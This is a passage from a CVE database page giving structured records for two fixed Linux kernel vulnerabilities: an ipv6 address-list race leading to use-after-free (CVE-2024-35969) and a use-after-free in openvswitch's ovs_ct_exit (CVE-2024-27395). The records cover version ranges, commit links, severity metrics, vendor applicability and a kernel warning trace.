Linux	Linux	Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < b4b3b69a19016d4e7fbdbd1dbcc184915eb862e1 (git) Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < cca606e14264098cba65efa82790825dbf69e903 (git) Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < 3fb02ec57ead2891a2306af8c51a306bc5945e70 (git) Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < 4b19e9507c275de0cfe61c24db69179dc52cf9fb (git) Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < de76ae9ea1a6cf9e77fcec4f2df2904e26c23ceb (git) Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < 01b11a0566670612bd464a932e5ac2eae53d8652 (git) Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < 6cdb20c342cd0193d3e956e3d83981d0f438bb83 (git) Affected: 5c578aedcb21d79eeb4e9cf04ca5b276ac82614c , < 7633c4da919ad51164acbf1aa322cc1a3ead6129 (git)
Linux	Linux	Affected: 2.6.35 Unaffected: 0 , < 2.6.35 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35969",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-18T14:46:35.940323Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-770",
                "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-05T18:09:17.953Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.973Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b4b3b69a19016d4e7fbdbd1dbcc184915eb862e1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cca606e14264098cba65efa82790825dbf69e903"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3fb02ec57ead2891a2306af8c51a306bc5945e70"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4b19e9507c275de0cfe61c24db69179dc52cf9fb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/de76ae9ea1a6cf9e77fcec4f2df2904e26c23ceb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/01b11a0566670612bd464a932e5ac2eae53d8652"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6cdb20c342cd0193d3e956e3d83981d0f438bb83"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7633c4da919ad51164acbf1aa322cc1a3ead6129"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:19.368Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/addrconf.h",
            "net/ipv6/addrconf.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b4b3b69a19016d4e7fbdbd1dbcc184915eb862e1",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            },
            {
              "lessThan": "cca606e14264098cba65efa82790825dbf69e903",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            },
            {
              "lessThan": "3fb02ec57ead2891a2306af8c51a306bc5945e70",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            },
            {
              "lessThan": "4b19e9507c275de0cfe61c24db69179dc52cf9fb",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            },
            {
              "lessThan": "de76ae9ea1a6cf9e77fcec4f2df2904e26c23ceb",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            },
            {
              "lessThan": "01b11a0566670612bd464a932e5ac2eae53d8652",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            },
            {
              "lessThan": "6cdb20c342cd0193d3e956e3d83981d0f438bb83",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            },
            {
              "lessThan": "7633c4da919ad51164acbf1aa322cc1a3ead6129",
              "status": "affected",
              "version": "5c578aedcb21d79eeb4e9cf04ca5b276ac82614c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/addrconf.h",
            "net/ipv6/addrconf.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.35"
            },
            {
              "lessThan": "2.6.35",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix race condition between ipv6_get_ifaddr and ipv6_del_addr\n\nAlthough ipv6_get_ifaddr walks inet6_addr_lst under the RCU lock, it\nstill means hlist_for_each_entry_rcu can return an item that got removed\nfrom the list. The memory itself of such item is not freed thanks to RCU\nbut nothing guarantees the actual content of the memory is sane.\n\nIn particular, the reference count can be zero. This can happen if\nipv6_del_addr is called in parallel. ipv6_del_addr removes the entry\nfrom inet6_addr_lst (hlist_del_init_rcu(\u0026ifp-\u003eaddr_lst)) and drops all\nreferences (__in6_ifa_put(ifp) + in6_ifa_put(ifp)). With bad enough\ntiming, this can happen:\n\n1. In ipv6_get_ifaddr, hlist_for_each_entry_rcu returns an entry.\n\n2. Then, the whole ipv6_del_addr is executed for the given entry. The\n   reference count drops to zero and kfree_rcu is scheduled.\n\n3. ipv6_get_ifaddr continues and tries to increments the reference count\n   (in6_ifa_hold).\n\n4. The rcu is unlocked and the entry is freed.\n\n5. The freed entry is returned.\n\nPrevent increasing of the reference count in such case. The name\nin6_ifa_hold_safe is chosen to mimic the existing fib6_info_hold_safe.\n\n[   41.506330] refcount_t: addition on 0; use-after-free.\n[   41.506760] WARNING: CPU: 0 PID: 595 at lib/refcount.c:25 refcount_warn_saturate+0xa5/0x130\n[   41.507413] Modules linked in: veth bridge stp llc\n[   41.507821] CPU: 0 PID: 595 Comm: python3 Not tainted 6.9.0-rc2.main-00208-g49563be82afa #14\n[   41.508479] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)\n[   41.509163] RIP: 0010:refcount_warn_saturate+0xa5/0x130\n[   41.509586] Code: ad ff 90 0f 0b 90 90 c3 cc cc cc cc 80 3d c0 30 ad 01 00 75 a0 c6 05 b7 30 ad 01 01 90 48 c7 c7 38 cc 7a 8c e8 cc 18 ad ff 90 \u003c0f\u003e 0b 90 90 c3 cc cc cc cc 80 3d 98 30 ad 01 00 0f 85 75 ff ff ff\n[   41.510956] RSP: 0018:ffffbda3c026baf0 EFLAGS: 00010282\n[   41.511368] RAX: 0000000000000000 RBX: ffff9e9c46914800 RCX: 0000000000000000\n[   41.511910] RDX: ffff9e9c7ec29c00 RSI: ffff9e9c7ec1c900 RDI: ffff9e9c7ec1c900\n[   41.512445] RBP: ffff9e9c43660c9c R08: 0000000000009ffb R09: 00000000ffffdfff\n[   41.512998] R10: 00000000ffffdfff R11: ffffffff8ca58a40 R12: ffff9e9c4339a000\n[   41.513534] R13: 0000000000000001 R14: ffff9e9c438a0000 R15: ffffbda3c026bb48\n[   41.514086] FS:  00007fbc4cda1740(0000) GS:ffff9e9c7ec00000(0000) knlGS:0000000000000000\n[   41.514726] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   41.515176] CR2: 000056233b337d88 CR3: 000000000376e006 CR4: 0000000000370ef0\n[   41.515713] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[   41.516252] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[   41.516799] Call Trace:\n[   41.517037]  \u003cTASK\u003e\n[   41.517249]  ? __warn+0x7b/0x120\n[   41.517535]  ? refcount_warn_saturate+0xa5/0x130\n[   41.517923]  ? report_bug+0x164/0x190\n[   41.518240]  ? handle_bug+0x3d/0x70\n[   41.518541]  ? exc_invalid_op+0x17/0x70\n[   41.520972]  ? asm_exc_invalid_op+0x1a/0x20\n[   41.521325]  ? refcount_warn_saturate+0xa5/0x130\n[   41.521708]  ipv6_get_ifaddr+0xda/0xe0\n[   41.522035]  inet6_rtm_getaddr+0x342/0x3f0\n[   41.522376]  ? __pfx_inet6_rtm_getaddr+0x10/0x10\n[   41.522758]  rtnetlink_rcv_msg+0x334/0x3d0\n[   41.523102]  ? netlink_unicast+0x30f/0x390\n[   41.523445]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10\n[   41.523832]  netlink_rcv_skb+0x53/0x100\n[   41.524157]  netlink_unicast+0x23b/0x390\n[   41.524484]  netlink_sendmsg+0x1f2/0x440\n[   41.524826]  __sys_sendto+0x1d8/0x1f0\n[   41.525145]  __x64_sys_sendto+0x1f/0x30\n[   41.525467]  do_syscall_64+0xa5/0x1b0\n[   41.525794]  entry_SYSCALL_64_after_hwframe+0x72/0x7a\n[   41.526213] RIP: 0033:0x7fbc4cfcea9a\n[   41.526528] Code: d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 f3 0f 1e fa 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 15 b8 2c 00 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 77 7e c3 0f 1f 44 00 00 41 54 48 83 ec 30 44 89\n[   41.527942] RSP: 002b:00007f\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:42.552Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b4b3b69a19016d4e7fbdbd1dbcc184915eb862e1"
        },
        {
          "url": "https://git.kernel.org/stable/c/cca606e14264098cba65efa82790825dbf69e903"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fb02ec57ead2891a2306af8c51a306bc5945e70"
        },
        {
          "url": "https://git.kernel.org/stable/c/4b19e9507c275de0cfe61c24db69179dc52cf9fb"
        },
        {
          "url": "https://git.kernel.org/stable/c/de76ae9ea1a6cf9e77fcec4f2df2904e26c23ceb"
        },
        {
          "url": "https://git.kernel.org/stable/c/01b11a0566670612bd464a932e5ac2eae53d8652"
        },
        {
          "url": "https://git.kernel.org/stable/c/6cdb20c342cd0193d3e956e3d83981d0f438bb83"
        },
        {
          "url": "https://git.kernel.org/stable/c/7633c4da919ad51164acbf1aa322cc1a3ead6129"
        }
      ],
      "title": "ipv6: fix race condition between ipv6_get_ifaddr and ipv6_del_addr",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35969",
    "datePublished": "2024-05-20T09:41:57.858Z",
    "dateReserved": "2024-05-17T13:50:33.140Z",
    "dateUpdated": "2026-05-12T11:53:19.368Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27395 (GCVE-0-2024-27395)

Vulnerability from cvelistv5 – Published: 2024-05-09 16:37 – Updated: 2026-05-12 11:51

Title

net: openvswitch: Fix Use-After-Free in ovs_ct_exit

Summary

In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: Fix Use-After-Free in ovs_ct_exit Since kfree_rcu, which is called in the hlist_for_each_entry_rcu traversal of ovs_ct_limit_exit, is not part of the RCU read critical section, it is possible that the RCU grace period will pass during the traversal and the key will be free. To prevent this, it should be changed to hlist_for_each_entry_safe.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/2db9a8c0a01fa1c76…
https://git.kernel.org/stable/c/589523cf0b384164e…
https://git.kernel.org/stable/c/35880c3fa6f8fe281…
https://git.kernel.org/stable/c/9048616553c65e750…
https://git.kernel.org/stable/c/bca6fa2d9a9f560e6…
https://git.kernel.org/stable/c/eaa5e164a2110d2fb…
https://git.kernel.org/stable/c/edee0758747d7c219…
https://git.kernel.org/stable/c/5ea7b72d4fac2fdbc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < 2db9a8c0a01fa1c762c1e61a13c212c492752994 (git) Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < 589523cf0b384164e445dd5db8d5b1bf97982424 (git) Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < 35880c3fa6f8fe281a19975d2992644588ca33d3 (git) Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < 9048616553c65e750d43846f225843ed745ec0d4 (git) Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < bca6fa2d9a9f560e6b89fd5190b05cc2f5d422c1 (git) Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < eaa5e164a2110d2fb9e16c8a29e4501882235137 (git) Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < edee0758747d7c219e29db9ed1d4eb33e8d32865 (git) Affected: 11efd5cb04a184eea4f57b68ea63dddd463158d1 , < 5ea7b72d4fac2fdbc0425cd8f2ea33abe95235b2 (git)
Linux	Linux	Affected: 4.18 Unaffected: 0 , < 4.18 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:34:52.145Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2db9a8c0a01fa1c762c1e61a13c212c492752994"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/589523cf0b384164e445dd5db8d5b1bf97982424"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/35880c3fa6f8fe281a19975d2992644588ca33d3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9048616553c65e750d43846f225843ed745ec0d4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bca6fa2d9a9f560e6b89fd5190b05cc2f5d422c1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eaa5e164a2110d2fb9e16c8a29e4501882235137"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/edee0758747d7c219e29db9ed1d4eb33e8d32865"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5ea7b72d4fac2fdbc0425cd8f2ea33abe95235b2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27395",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:43:26.319846Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:26.879Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:33.210Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/openvswitch/conntrack.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2db9a8c0a01fa1c762c1e61a13c212c492752994",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            },
            {
              "lessThan": "589523cf0b384164e445dd5db8d5b1bf97982424",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            },
            {
              "lessThan": "35880c3fa6f8fe281a19975d2992644588ca33d3",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            },
            {
              "lessThan": "9048616553c65e750d43846f225843ed745ec0d4",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            },
            {
              "lessThan": "bca6fa2d9a9f560e6b89fd5190b05cc2f5d422c1",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            },
            {
              "lessThan": "eaa5e164a2110d2fb9e16c8a29e4501882235137",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            },
            {
              "lessThan": "edee0758747d7c219e29db9ed1d4eb33e8d32865",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            },
            {
              "lessThan": "5ea7b72d4fac2fdbc0425cd8f2ea33abe95235b2",
              "status": "affected",
              "version": "11efd5cb04a184eea4f57b68ea63dddd463158d1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/openvswitch/conntrack.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.18"
            },
            {
              "lessThan": "4.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: Fix Use-After-Free in ovs_ct_exit\n\nSince kfree_rcu, which is called in the hlist_for_each_entry_rcu traversal\nof ovs_ct_limit_exit, is not part of the RCU read critical section, it\nis possible that the RCU grace period will pass during the traversal and\nthe key will be free.\n\nTo prevent this, it should be changed to hlist_for_each_entry_safe."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:11.587Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2db9a8c0a01fa1c762c1e61a13c212c492752994"
        },
        {
          "url": "https://git.kernel.org/stable/c/589523cf0b384164e445dd5db8d5b1bf97982424"
        },
        {
          "url": "https://git.kernel.org/stable/c/35880c3fa6f8fe281a19975d2992644588ca33d3"
        },
